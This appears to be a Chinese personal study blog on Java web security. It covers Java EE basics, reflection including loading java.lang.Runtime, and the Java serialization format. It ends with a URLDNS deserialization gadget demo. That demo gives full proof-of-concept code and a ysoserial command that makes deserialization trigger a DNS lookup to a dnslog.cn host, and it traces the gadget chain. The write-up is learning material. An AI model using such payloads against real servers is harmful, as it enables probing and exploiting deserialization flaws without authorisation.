Java web学习记录
JDK JRE JVM 关系
JDK 包含 JRE , 还包含开发工具,编译 javac ,反编译 javap ,打包工具 jar。
JRE是Java程序运行环境,包括JVM,还包含其他程序运行需要的API,如rt.jar。
JVM是Java运行的核心,用来处理字节码,管理内存。
Java EE 分层模型
Java EE 核心
- Java数据库链接 JDBC:用来规范客户端程序如何访问数据库的应用程序接口
- Java命名和目录接口 JNDI:一个API,提供了一个目录系统,并将服务名称与对象关联起来,从而使开发人员在开发过程中可以用名称来访问对象
- 企业级JavaBean EJB:是一个用来构建企业级应用的在服务端可被管理的组件
- 远程方法调用 RMI:拥护开发分布式应用程序的API
- Servlet:Java编写的服务端程序,狭义的Servlet是指Java语言实现的一个接口,广义的Servlet指任何实现该Servlet接口的类。主要功能在于交互式地浏览和修改数据,生成动态web内容
- JSP:一种动态网页技术标准
- XML:被设计用于传输和储存数据的语言
- Java消息服务 JMS:一个Java平台中关于面向消息中间件(MOM)的API,用于在两个应用程序之间或分布式系统中发送消息,进行异步通信
Java EE 分层模型
- Domain Object层(领域对象层):由一系列普通、传统的Java对象(POJO)组成,这些对象是该系统的Domain Object,通常包括各自所需实现的业务逻辑方法
- DAO层(数据访问对象层):由一系列DAO组件组成,这些DAO实现了对数据库的各种操作
- Service层:由一系列业务逻辑对象组成,这些业务逻辑对象实现了系统所需要的业务逻辑方法
- Controller层:由一系列控制器组成,这些控制器用于拦截用户请求,并调用业务逻辑组件的业务逻辑方法去处理用户请求,然后根据处理结果向不同的View组件转发
- View层:由一系列的页面及视图组件组成,负责收集用户请求,并显示处理后的结果
Servlet
Servlet是在Java web容器中运行的小程序,用户使用Servlet来处理一些较为复杂的服务端业务逻辑,通常用作HTTP servlet的简写。
Java反射
反射的定义
一般情况下,我们使用某个类时必定知道它是什么类,是用来做什么的。于是我们直接对这个类进行实例化,之后使用这个类对象进行操作。
HelloWorld helloworld = new HelloWorld(); //直接初始化,"正射"
helloworld.sayHello(4);
上面这样子进行类对象的初始化,我们可以理解为”正”。而反射则是一开始并不知道我要初始化的类对象是什么,自然也无法使用new关键字来创建对象了。这时候,我们使用JDK提供的反射API进行反射调用:
Class class = Class.forName("com.reflect.ReflectTest");
Method method = class.getMethod("sayhello", string.class);
Constructor constructor = class.getConstructor();
Object object = constructor.newInstance();
method.invoke(object, "Bob");
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性
;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
要想解剖一个类,必须先要获取到该类的字节码文件对象。而解剖使用的就是Class类中的方法.所以先要获取到每一个字节码文件对应的Class类型的对象.
反射就是把java类中的各种成分映射成一个个的Java对象
例如:一个类有:成员变量、方法、构造方法、包等等信息,利用反射技术可以对一个类进行解剖,把各个组成部分映射成一个个对象。(其实:一个类中这些成员方法、构造方法、在加入类中都有一个类来描述) 如图是类的正常加载过程:反射的原理在于class对象。熟悉一下加载的时候:Class对象的由来是将class文件读入内存,并为之创建一个Class对象。
获取Runtime类Class对象代码片段
String className = "java.lang.Runtime";
Class runtimeClass1 = Class.forName(className);
Class runtimeClass2 = java.lang.Runtime.class;
Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);
通过以上任意一种方式就可以获取java.lang.Runtime类的Class对象了。
反射调用内部类的时候需要使用**$来代替.,如com.reflect.ReflectTest类有一个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.reflect.ReflectTest$Hello**。
获取类对象
使用forName()方法
public class GetClassName {
public static void main(String[] args) throws ClassNotFoundException {
Class name = Class.forName("java.lang.Runtime");
System.out.println(name);
}
}
直接获取
任何数据类型都具有静态的属性,因此可使用.class直接获取其对应的Class对象。需要用到类中的静态成员
public class GetClassName {
public static void main(String[] args) throws ClassNotFoundException {
Class<?> name = Runtime.class;
System.out.println(name);
}
}
使用getClass()方法
可以通过Object类中的getClass()方法来获取字节码对象。需要指明具体的类,然后创建对象
public class GetClassName {
public static void main(String[] args) throws ClassNotFoundException {
Runtime rt = Runtime.getRuntime();
Class<?> name = rt.getClass();
System.out.println(name);
}
}
使用getSystemClassLoader().loadClass()方法
getSystemClassLoader().loadClass()与forName()方法类似,只要有类名称即可。区别在于forName()的静态方法JVM会装载类,并且执行static()中的代码;而getSystemClassLoader().loadClass不会执行。
public class GetClassName {
public static void main(String[] args) throws ClassNotFoundException {
Class<?> name = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");
System.out.println(name);
}
}
获取类方法
getDeclaredMethods()
getDeclaredMethods()方法返回类或接口声明的所有方法,包括public protected private和默认方法,但不包括继承的方法。
import java.lang.reflect.Method;
public class GetClassName {
public static void main(String[] args) throws ClassNotFoundException {
Class<?> name = Class.forName("java.lang.Runtime");
Method[] declareMethods = name.getDeclaredMethods();
System.out.println("通过getDeclaredMethods()方法获取方法");
for(Method m:declareMethods)
System.out.println(m);
}
}
运行结果如下图
关于代码的一些细节(没系统学过Java 流下了眼泪
Method[] declareMethods = name.getDeclaredMethods();
在Java中,声明数组的格式是
dataType[] arrayRefVar;//首选
//或者
dataType arrayRefVar[]; // 效果相同,但不是首选方法
所以在这行代码中,Method是数据类型,也就是我们需要的方法数组
for(Method m:declareMethods)
System.out.println(m);
这是Java遍历数组常见的一种方法
for (double element: myList)
System.out.println(element);
getMethods()
getMethods()返回某个类中的所有public方法,包括其继承类的public方法
import java.lang.reflect.Method;
public class GetClassName {
public static void main(String[] args) throws ClassNotFoundException {
Runtime rt = Runtime.getRuntime();
Class<?> name = rt.getClass();
Method[] methods = name.getMethods();
System.out.println("getMethods()获取的方法:");
for(Method m:methods)
System.out.println(m);
}
}
上图中包含了继承类的方法
Java序列化和反序列化
序列化与反序列化的定义
- Java序列化是将Java对象转换为字节序列的行为
- Java反序列化即序列化的反向操作,将字节序列恢复为对象的过程
序列化与反序列化的具体代码实现
- 在ObjectOutputStream 中使用 writeObject 方法,将对象以二进制格式进行写入
- 在ObjectInputStream 中使用 readObject 方法,从输入流中读取二进制流,转换成对象
package com.ser;
import java.io.Serializable;
public class Customer implements Serializable {
private static long serialVersionUID;
private String name;
private int age;
private String sex;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getSex() {
return sex;
}
public void setSex(String sex) {
this.sex = sex;
}
}
package com.ser;
import java.io.*;
import java.text.MessageFormat;
public class SerializeDemo{
public static void main(String[] args) throws IOException, ClassNotFoundException {
SerializeCustomer();
Customer customer = DeserializeCustomer();
System.out.println(MessageFormat.format("age:{0}, name:{1}, sex:{2}",customer.getAge(),customer.getName(),customer.getSex()));
}
static void SerializeCustomer() throws IOException {
Customer customer = new Customer();
customer.setAge(24);
customer.setName("m1yuu");
customer.setSex("male");
ObjectOutputStream oos = new ObjectOutputStream(
new FileOutputStream(new File("C:\\Users\\Administrator\\customer")));
oos.writeObject(customer);
oos.close();
}
static Customer DeserializeCustomer() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("C:\\Users\\Administrator\\customer")));
Customer customer = (Customer) ois.readObject();
return customer;
}
}
0xaced
:魔术头0x0005
:版本号0x73
,对象类型标识 (0x7n
基本上都定义了类型标识符常量,但也要看出现的位置,毕竟它们都在可见字符的范围,详见java.io.ObjectStreamConstants
)0x72
,类描述符标识0x0008...
,类名字符串长度和值 (Java序列化中的UTF8格式标准)0xac7ba91da37b53e5
,序列版本唯一标识 (serialVersionUID
,简称SUID)0x02
,对象的序列化属性标志位,如是否是Block Data模式、自定义writeObject()
,Serializable
、Externalizable
或Enum
类型等0x0003
,类的字段个数0x49
,整数类型签名的第一个字节,同理,之后的0x4c
为字符串类型签名的第一个字节 (类型签名表示与JVM规范中的定义相同)0x0003...
,字段名字符串长度和值,非原始数据类型的字段还会在后面加上数据类型标识、完整类型签名长度和值,如之后的0x4c0003...
0x78
Block Data结束标识0x70
父类描述符标识,此处为null
SerialVersionUID
serialVersionUID适用于java序列化机制。简单来说,JAVA序列化的机制是通过 判断类的serialVersionUID来验证的版本一致的。在进行反序列化时,JVM会把传来的字节流中的serialVersionUID于本地相应实体类的serialVersionUID进行比较。如果相同说明是一致的,可以进行反序列化,否则会出现反序列化版本一致的异常,即是InvalidCastException。
具体序列化的过程:
序列化操作时会把系统当前类的serialVersionUID写入到序列化文件中,当反序列化时系统会自动检测文件中的serialVersionUID,判断它是否与当前类中的serialVersionUID一致。如果一致说明序列化文件的版本与当前类的版本是一样的,可以反序列化成功,否则就失败;
serialVersionUID有两种显示的生成方式:一是默认的1L,比如:
privatestaticfinallong serialVersionUID = 1L;
二是根据包名,类名,继承关系,非私有的方法和属性,以及参数,返回值等诸多因子计算得出的,极度复杂生成的一个64位的哈希字段。基本上计算出来的这个值是唯一的。比如:
privatestaticfinallong serialVersionUID = xxxxL;
演示(URLDNS)
poc测试代码:URLDNS.java
package com.URLDNSTest;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
//0x01.生成payload
//设置一个hashMap
HashMap<URL, String> hashMap = new HashMap<URL, String>();
//设置我们可以接受DNS查询的地址,这里使用的是dnslog
URL url = new URL("http://ch16ri.dnslog.cn");
//将URL的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
//**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
//1. 设置url的hashCode字段为0xdeadbeef(随意的值)
f.set(url, 0xdeadbeef);
//2. 将url放入hashMap中,右边参数随便写
hashMap.put(url, "m1yuu");
//修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
f.set(url, -1);
//0x02.写入文件模拟网络传输
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
//0x03.读取文件,进行反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
About HashMap
HashMap 是一个散列表,它存储的内容是键值对(key-value)映射。
HashMap 实现了 Map 接口,根据键的 HashCode 值存储数据,具有很快的访问速度,最多允许一条记录的键为 null,不支持线程同步。
HashMap 是无序的,即不会记录插入的顺序。
HashMap 继承于AbstractMap,实现了 Map、Cloneable、java.io.Serializable 接口。
https://www.runoob.com/java/java-hashmap.html
反序列化过程
java.util.HashMap#writeObject
分为三个步骤进行序列化:
1.序列化写入一维数组的长度(不是特别确定,但是这个值在反序列化中是不使用的,所以不太重要)
2.序列化写入键值对的个数
3.序列化写入键值对的键和值;
在HashMap.java中可以看到HashMap类拓展了序列化的接口。我们定位到readObject的位置,在putval方法的位置下断点
putVal
是往HashMap中放入键值对的方法
跟进,看到hash函数方法传入的key是我们目标url对象
继续跟进,跟到hashCode()方法,可以看到下面进行了InetAddress addr = getHostAddress(u);
,成功触发。所以调用路线即为
HashMap->readObject()->hash()->URL.class->hashcode()->UrlStreamHandler.class->hashcode()->InetAddress addr = getHostAddress(u);
所以我们要执行的是的是URL查询的方法URL->hashCode()
。
使用ysoserial生成文件并且触发
安装ysoserial
github仓库地址:https://github.com/frohoff/ysoserial.git
两种安装方式:
- 使用下载源码之后使用maven进行编译,便于在本地进行调试
- 直接下载jar包 https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
生成文件out.bin
首先去dnslog获取get subdomain,在jar包存在的文件夹下(本地使用maven编译后的jar包所在文件夹为*/ysoserial/target)运行如下:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://lwkjw8.dnslog.cn > out.bin
使用hexdump查看out.bin内容:
编写反序列化代码
package com.URLDNS;
import java.io.*;
public class URLDNSTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream("/Users/m1saka/tools/ysoserial/target/out.bin");
ObjectInputStream bit = new ObjectInputStream(fis);
bit.readObject();
}
}
运行成功后可在dnslog平台看到记录。
在ysoserial的URLDNS.java文件中,注释也展示出了反序列化所利用的链: